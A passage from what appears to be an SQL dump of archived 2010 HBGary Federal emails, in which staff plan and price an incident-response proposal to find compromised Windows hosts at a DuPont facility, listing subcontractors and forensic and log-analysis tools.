etc.\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 8:45 AM\r\nTo: Rich Cummings\r\nSubject: Re: Dupont Proposal v4 - Need your help to finish please\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLooking over...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nat some point I would like to talk to you about your\r\napproach, methods for conducting the assessment.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 8:14 AM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWere\r\non the home stretch here.&nbsp; A couple more things need to happen to get this\r\nsolidified, sent off to DuPont, and get us ready to deliver as soon as\r\nMonday.&nbsp; Please look below and provide any input you may have.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finish Proposal &#8211; This morning\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;I accepted Phil&#8217;s suggestions and I&#8217;ve\r\nadded a couple comments.\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Still need pricing\r\nbroken out for Task 2 &#8211;&nbsp;Bob &#8211; Aaron &#8211; Ted, Penny?\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Do we remove Task 3 Remediation\r\ncompletely?&nbsp; I think so mainly because we don&#8217;t recommend trying to clean\r\na machine but to only wipe and rebuild.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Legal Jargon needs\r\nto be reviewed and approved &#8211;&nbsp;Penny?\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Resources from Partners Foundstone or PWC\r\n&#8211;&nbsp; Today\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Primary requirement for consultants would\r\nbe to help out analyzing machines, documentation, tracking events and timeline.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Phil said PWC could help &#8211; they would cost\r\nroughly 300 per hour\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;What about Foundstone?&nbsp;&nbsp;Penny&nbsp;can you call them or let me\r\nknow who the contact is and I will call them.\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;What do they cost?&nbsp; Who are they?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;How soon can they be available?&nbsp; Can\r\nwe see resumes?&nbsp; We should list the technical requirements of the\r\nresources available\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Defense Software from Engineering &#8211;&nbsp;Rich&nbsp;is working with&nbsp;Greg&nbsp;on this.&nbsp;&nbsp;Phil what is\r\nmissing, what are your thoughts?\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Greg is working to make sure I have a solid\r\ncopy of Active Defense (AD) to use on site at the customers.\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Goal is to have a working copy of AD on my\r\nlaptop by Friday night so I can test this weekend and deploy on Monday\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Talk with Engineering about deploying the\r\nDDNA agent via Altiris using command line switches\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Instead of using WMI through AD * this will\r\nhappen frequently if customer has existing system they are familiar with\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Items we need from DuPont prior to\r\ncommencement of project &#8211;&nbsp;Phil, what is missing here?\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;List of all security software and\r\napplications on their standard build of workstation and server\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Copies of known good Gold Builds or VMware\r\nimages would be great for us to make sure our DDNA is dialed-in for their known\r\nstuff\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Network diagrams to include Gateways,\r\nRouters, Firewalls, Ingress &amp; Egress points\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;What Security related data is available to\r\nus?\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;SIM Tool?\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;IDS? IPS?\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Firewall Logs?\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;What is logging policy?&nbsp; What is\r\nlogged?&nbsp; How long are logs kept?\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Additional Software required by team to be\r\nsuccessful &#8211;&nbsp;Phil, Greg, Ted, Aaron? PWC and Foundstone\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Forensics\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Encase Enterprise &#8211; got it for enterprise\r\nsearching, forensic preservation/duplication and analysis\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Network Data &#8211;\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Log Analysis\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Splunk &#8211; freeware to help analyze logs\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OSSec- Open source log analysis\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Indexing Software &#8211; I&#8217;ve got a copy of DT\r\nSearch to index logs if needed\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Packet Data Capture &amp; Analysis &#8211;\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wireshark &#8211;\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Netwitness &#8211; freeware\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Visualization and Link Analysis\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Palantir?\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I haven&#8217;t installed yet.. need to today\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Can we get some Risk Intelligence from\r\nEnd-Game?&nbsp;&nbsp;Aaron\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Active command and control servers for\r\nAurora\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Other relevant info to help mitigate\r\nthreats at the gateway\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Plan the Mission:&nbsp; Document the Action\r\nPlan, Process, and Work-Flow (Phil, Rich, Greg, Ted,\r\nAaron, PWC or Foundstone)\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Define the Mission:&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;HBGary\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Identify any compromised hosts inside of\r\nthe Dupont Manufacturing facility &#8211; Up to 600 Windows machines\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Provide a &#8220;Risk Intelligence&#8221; report to\r\nhelp Dupont explaining the nature of any found threats\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Dupont\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dupont wants to build a case for a more\r\ncomprehensive security strategy and approach to mitigating risk across the\r\nenterprise\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dupont is hopeful this investigation will\r\nhelp them to get the executive support needed to accomplish this goal\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;What are we going to do?\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;How are we going to do this?\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Task 1 &#8211; list out details for each task\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Task 2\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Task 3\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Dominate the Environment - Roles and\r\nResponsibilities\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp;&nbsp;Who is who in the zoo?\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;What could possibly go wrong in the order\r\nof probability\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;What are the contingencies and\r\ncountermeasures?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Services\r\nProposal for Dupont ver4_RWC.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2065,'aaron_hbgary_com/2065.html'),(2376,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001087.M109709P3547Q2376.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Invitation: Call with Aaron and Phil @ Wed Feb 10 11am - 11:30am  (aaron@hbgary.com)','Thanks.A few topics I would like to pick your brain on.Commercial IR Services. &nbsp;Typical rates for different services. &nbsp;Types of services usually requested. &nbsp;Typical methodology. &nbsp;Good partners.Resources to better understand commercial IR.Any contacts/leads to cleared or uncleared IR folks/Malware analysts.and anything else you think is worth discussing.AaronOn Feb 10, 2010, at 8:49 AM, Phil Wallisch wrote: more details »Call with Aaron and PhilWhenWed Feb 10 11am – 11:30am Eastern TimeWherephone (map)Calendaraaron@hbgary.comWho•Phil Wallisch - organizer•Aaron BarrGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options »Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.&lt;Mail Attachment.ics&gt;&lt;invite.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12011,'aaron_hbgary_com/12011.html'),(2377,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001087.M586865P3547Q2377.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Dupont Proposal v4  - Need your help to finish please','I want to be as involved as you want me to be. &nbsp;I want in this space and combining the commercial and government future work I know we can rock in this area, but I need to get my sea legs in this area. &nbsp;So more I can shadow or understand what your doing here and why the better. &nbsp;I will call you in a few.AaronOn Feb 10, 2010, at 8:49 AM, Rich Cummings wrote:Thanks for your help on this, I really want to get a home run here.&nbsp; Can you call me after you look it over and we can talk about approach and methods etc.&nbsp;Rich&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, February 10, 2010 8:45 AMTo:&nbsp;Rich CummingsSubject:&nbsp;Re: Dupont Proposal v4 - Need your help to finish please&nbsp;Looking over...&nbsp;at some point I would like to talk to you about your approach, methods for conducting the assessment.&nbsp;Aaron&nbsp;On Feb 10, 2010, at 8:14 AM, Rich Cummings wrote:All,&nbsp;Were on the home stretch here.&nbsp; A couple more things need to happen to get this solidified, sent off to DuPont, and get us ready to deliver as soon as Monday.&nbsp; Please look below and provide any input you may have.&nbsp;&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finish Proposal – This morningo&nbsp;&nbsp;&nbsp;I accepted Phil’s suggestions and I’ve added a couple comments.o&nbsp;&nbsp;&nbsp;Still need pricing broken out for Task 2 –&nbsp;Bob – Aaron – Ted, Penny?o&nbsp;&nbsp;&nbsp;Do we remove Task 3 Remediation completely?&nbsp; I think so mainly because we don’t recommend trying to clean a machine but to only wipe and rebuild.&nbsp;o&nbsp;&nbsp;&nbsp;Legal Jargon needs to be reviewed and approved –&nbsp;Penny?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Resources from Partners Foundstone or PWC –&nbsp; Todayo&nbsp;&nbsp;&nbsp;Primary requirement for consultants would be to help out analyzing machines, documentation, tracking events and timeline.&nbsp;§&nbsp;&nbsp;Phil said PWC could help – they would cost roughly 300 per houro&nbsp;&nbsp;&nbsp;What about Foundstone?&nbsp;&nbsp;Penny&nbsp;can you call them or let me know who the contact is and I will call them.§&nbsp;&nbsp;What do they cost?&nbsp; Who are they?&nbsp;§&nbsp;&nbsp;How soon can they be available?&nbsp; Can we see resumes?&nbsp; We should list the technical requirements of the resources available·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Defense Software from Engineering –&nbsp;Rich&nbsp;is working with&nbsp;Greg&nbsp;on this.&nbsp;&nbsp;Phil what is missing, what are your thoughts?o&nbsp;&nbsp;&nbsp;Greg is working to make sure I have a solid copy of Active Defense (AD) to use on site at the customers.o&nbsp;&nbsp;&nbsp;Goal is to have a working copy of AD on my laptop by Friday night so I can test this weekend and deploy on Mondayo&nbsp;&nbsp;&nbsp;Talk with Engineering about deploying the DDNA agent via Altiris using command line switches§&nbsp;&nbsp;Instead of using WMI through AD * this will happen frequently if customer has existing system they are familiar with·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Items we need from DuPont prior to commencement of project –&nbsp;Phil, what is missing here?o&nbsp;&nbsp;&nbsp;List of all security software and applications on their standard build of workstation and servero&nbsp;&nbsp;&nbsp;Copies of known good Gold Builds or VMware images would be great for us to make sure our DDNA is dialed-in for their known stuffo&nbsp;&nbsp;&nbsp;Network diagrams to include Gateways, Routers, Firewalls, Ingress &amp; Egress pointso&nbsp;&nbsp;&nbsp;What Security related data is available to us?§&nbsp;&nbsp;SIM Tool?§&nbsp;&nbsp;IDS? IPS?§&nbsp;&nbsp;Firewall Logs?§&nbsp;&nbsp;What is logging policy?&nbsp; What is logged?&nbsp; How long are logs kept?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Additional Software required by team to be successful –&nbsp;Phil, Greg, Ted, Aaron? PWC and Foundstoneo&nbsp;&nbsp;&nbsp;Forensics§&nbsp;&nbsp;Encase Enterprise – got it for enterprise searching, forensic preservation/duplication and analysiso&nbsp;&nbsp;&nbsp;Network Data –§&nbsp;&nbsp;Log Analysis·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Splunk – freeware to help analyze logs·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OSSec- Open source log analysis·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Indexing Software – I’ve got a copy of DT Search to index logs if needed§&nbsp;&nbsp;Packet Data Capture &amp; Analysis –·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wireshark –·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Netwitness – freewareo&nbsp;&nbsp;&nbsp;Visualization and Link Analysis§&nbsp;&nbsp;Palantir?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I haven’t installed yet.. need to today·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Can we get some Risk Intelligence from End-Game?&nbsp;&nbsp;Aarono&nbsp;&nbsp;&nbsp;Active command and control servers for Aurorao&nbsp;&nbsp;&nbsp;Other relevant info to help mitigate threats at the gateway&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Plan the Mission:&nbsp; Document the Action Plan, Process, and Work-Flow (Phil, Rich, Greg, Ted, Aaron, PWC or Foundstone)o&nbsp;&nbsp;&nbsp;Define the Mission:&nbsp;§&nbsp;&nbsp;HBGary·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Identify any compromised hosts inside of the Dupont Manufacturing facility – Up to 600 Windows machines·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Provide a “Risk Intelligence” report to help Dupont explaining the nature of any found threats§&nbsp;&nbsp;Dupont·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dupont wants to build a case for a more comprehensive security strategy and approach to mitigating risk across the enterprise·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dupont is hopeful this investigation will help them to get the executive support needed to accomplish this goalo&nbsp;&nbsp;&nbsp;What are we going to do?o&nbsp;&nbsp;&nbsp;How are we going to do this?§&nbsp;&nbsp;Task 1 – list out details for each task§&nbsp;&nbsp;Task 2§&nbsp;&nbsp;Task 3o&nbsp;&nbsp;&nbsp;Dominate the Environment - Roles and Responsibilities§&nbsp;&nbsp;Who is who in the zoo?o&nbsp;&nbsp;&nbsp;What could possibly go wrong in the order of probabilityo&nbsp;&nbsp;&nbsp;What are the contingencies and countermeasures?&nbsp;&nbsp;Thanks,Rich&nbsp;&lt;Services Proposal for Dupont ver4_RWC.docx&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7672,'aaron_hbgary_com/7672.html'),(2378,'2010-02-10','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001087.M884181P3547Q2378.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Dupont SOW','I just sent an invite for 11:00.  It should be a quick enough call to be done before your lunch.On Wed, Feb 10, 2010 at 8:21 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\ncool.  What time works.  I am having lunch with Nolan from Infosecurity and have a 3pm meeting.\r\n\r\n\r\nAaron\r\n\r\nOn Feb 9, 2010, at 8:46 PM, Phil Wallisch wrote:\r\n\r\n&gt; Looks like lunch is out but we can still do the call.\r\n&gt;\r\n&gt; On Tuesday, February 9, 2010, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n&gt;&gt; We still on this week?\r\n&gt;&gt;\r\n&gt;&gt; From my iPhone\r\n&gt;&gt; On Feb 9, 2010, at 8:30 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Comments attached.  Their blended rate is about $300/hr.\r\n&gt;&gt;\r\n&gt;&gt; On Tue, Feb 9, 2010 at 7:31 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Guys,\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Please take a look at the scope of work for Dupont, we need\r\n&gt;&gt; to get this out to them ASAP.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Things we still need.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; 1.\r\n&gt;&gt; Pricing – see what is in the doc…  I\r\n&gt;&gt; think we should provide an hourly rate like Aaron and I discussed ($300 per\r\n&gt;&gt; hour).  It’s currently got something that appears to be a  Firm\r\n&gt;&gt; Fixed Price… not going to fly here in my opinion.  While I believe\r\n&gt;&gt; we could charge them more, I don’t want to take advantage of them.  This\r\n&gt;&gt; is to set them up for a long term relationship and enterprise purchase.\r\n&gt;&gt;\r\n&gt;&gt; 2.\r\n&gt;&gt; How much will foundstone and PWC charge to us as a\r\n&gt;&gt; sub-contractor?\r\n&gt;&gt;\r\n&gt;&gt; a.       Phil?\r\n&gt;&gt; Do you know how much they would charge us?\r\n&gt;&gt;\r\n&gt;&gt; b.      Penny,\r\n&gt;&gt; what about Foundstone prices?\r\n&gt;&gt;\r\n&gt;&gt; 3.\r\n&gt;&gt; I believe we also need to propose 3 to 4 people for\r\n&gt;&gt; this project for Phase 1.   Personally I would like to back out after\r\n&gt;&gt; Phase 1 and the beginning of phase 2 so I can get back to HBGary work.\r\n&gt;&gt; With that said it would be nice to have 3 guys from either PWC or Foundstone to\r\n&gt;&gt; augment myself and Phil’s work.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Rich\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; &lt;Services Proposal for Dupont ver3 PAW.docx&gt;\r\n&gt;&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',5450,'aaron_hbgary_com/5450.html'),(2379,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001088.M264533P3547Q2380.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,,','Re: Dupont Proposal v4  - Need your help to finish please','Thoughts.Task1:Do we have a methodology for analyzing network indicators.Is there a specified timeframe? &nbsp;Why the 500-600 systems?So we are deploying DDNA to each system?Task2:If our timeline is 5 days. &nbsp;What if every system is compromised? &nbsp;Shouldn\'t we have a # of systems analyzed per day in phase 2?Task3:I think there should be a task 3 but not exactly sure what this should be. &nbsp;A generated report with recommendations of remediation/courses of action. &nbsp;Based on the results from 1 and 2 should there be a sampling scan or monitoring on the network to test negative for further infection?On Feb 10, 2010, at 8:14 AM, Rich Cummings wrote:All,&nbsp;Were on the home stretch here.&nbsp; A couple more things need to happen to get this solidified, sent off to DuPont, and get us ready to deliver as soon as Monday.&nbsp; Please look below and provide any input you may have.&nbsp;&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finish Proposal – This morningo&nbsp;&nbsp;&nbsp;I accepted Phil’s suggestions and I’ve added a couple comments.o&nbsp;&nbsp;&nbsp;Still need pricing broken out for Task 2 –&nbsp;Bob – Aaron – Ted, Penny?o&nbsp;&nbsp;&nbsp;Do we remove Task 3 Remediation completely?&nbsp; I think so mainly because we don’t recommend trying to clean a machine but to only wipe and rebuild.&nbsp;o&nbsp;&nbsp;&nbsp;Legal Jargon needs to be reviewed and approved –&nbsp;Penny?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Resources from Partners Foundstone or PWC –&nbsp; Todayo&nbsp;&nbsp;&nbsp;Primary requirement for consultants would be to help out analyzing machines, documentation, tracking events and timeline.&nbsp;§&nbsp;&nbsp;Phil said PWC could help – they would cost roughly 300 per houro&nbsp;&nbsp;&nbsp;What about Foundstone?&nbsp;&nbsp;Penny&nbsp;can you call them or let me know who the contact is and I will call them.§&nbsp;&nbsp;What do they cost?&nbsp; Who are they?&nbsp;§&nbsp;&nbsp;How soon can they be available?&nbsp; Can we see resumes?&nbsp; We should list the technical requirements of the resources available·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Defense Software from Engineering –&nbsp;Rich&nbsp;is working with&nbsp;Greg&nbsp;on this.&nbsp;&nbsp;Phil what is missing, what are your thoughts?o&nbsp;&nbsp;&nbsp;Greg is working to make sure I have a solid copy of Active Defense (AD) to use on site at the customers.o&nbsp;&nbsp;&nbsp;Goal is to have a working copy of AD on my laptop by Friday night so I can test this weekend and deploy on Mondayo&nbsp;&nbsp;&nbsp;Talk with Engineering about deploying the DDNA agent via Altiris using command line switches§&nbsp;&nbsp;Instead of using WMI through AD * this will happen frequently if customer has existing system they are familiar with·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Items we need from DuPont prior to commencement of project –&nbsp;Phil, what is missing here?o&nbsp;&nbsp;&nbsp;List of all security software and applications on their standard build of workstation and servero&nbsp;&nbsp;&nbsp;Copies of known good Gold Builds or VMware images would be great for us to make sure our DDNA is dialed-in for their known stuffo&nbsp;&nbsp;&nbsp;Network diagrams to include Gateways, Routers, Firewalls, Ingress &amp; Egress pointso&nbsp;&nbsp;&nbsp;What Security related data is available to us?§&nbsp;&nbsp;SIM Tool?§&nbsp;&nbsp;IDS? IPS?§&nbsp;&nbsp;Firewall Logs?§&nbsp;&nbsp;What is logging policy?&nbsp; What is logged?&nbsp; How long are logs kept?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Additional Software required by team to be successful –&nbsp;Phil, Greg, Ted, Aaron? PWC and Foundstoneo&nbsp;&nbsp;&nbsp;Forensics§&nbsp;&nbsp;Encase Enterprise – got it for enterprise searching, forensic preservation/duplication and analysiso&nbsp;&nbsp;&nbsp;Network Data –§&nbsp;&nbsp;Log Analysis·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Splunk – freeware to help analyze logs·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OSSec- Open source log analysis·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Indexing Software – I’ve got a copy of DT Search to index logs if needed§&nbsp;&nbsp;Packet Data Capture &amp; Analysis –·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wireshark –·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Netwitness – freewareo&nbsp;&nbsp;&nbsp;Visualization and Link Analysis§&nbsp;&nbsp;Palantir?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I haven’t installed yet.. need to today·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Can we get some Risk Intelligence from End-Game?&nbsp;&nbsp;Aarono&nbsp;&nbsp;&nbsp;Active command and control servers for Aurorao&nbsp;&nbsp;&nbsp;Other relevant info to help mitigate threats at the gateway&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Plan the Mission:&nbsp; Document the Action Plan, Process, and Work-Flow (Phil, Rich, Greg, Ted, Aaron, PWC or 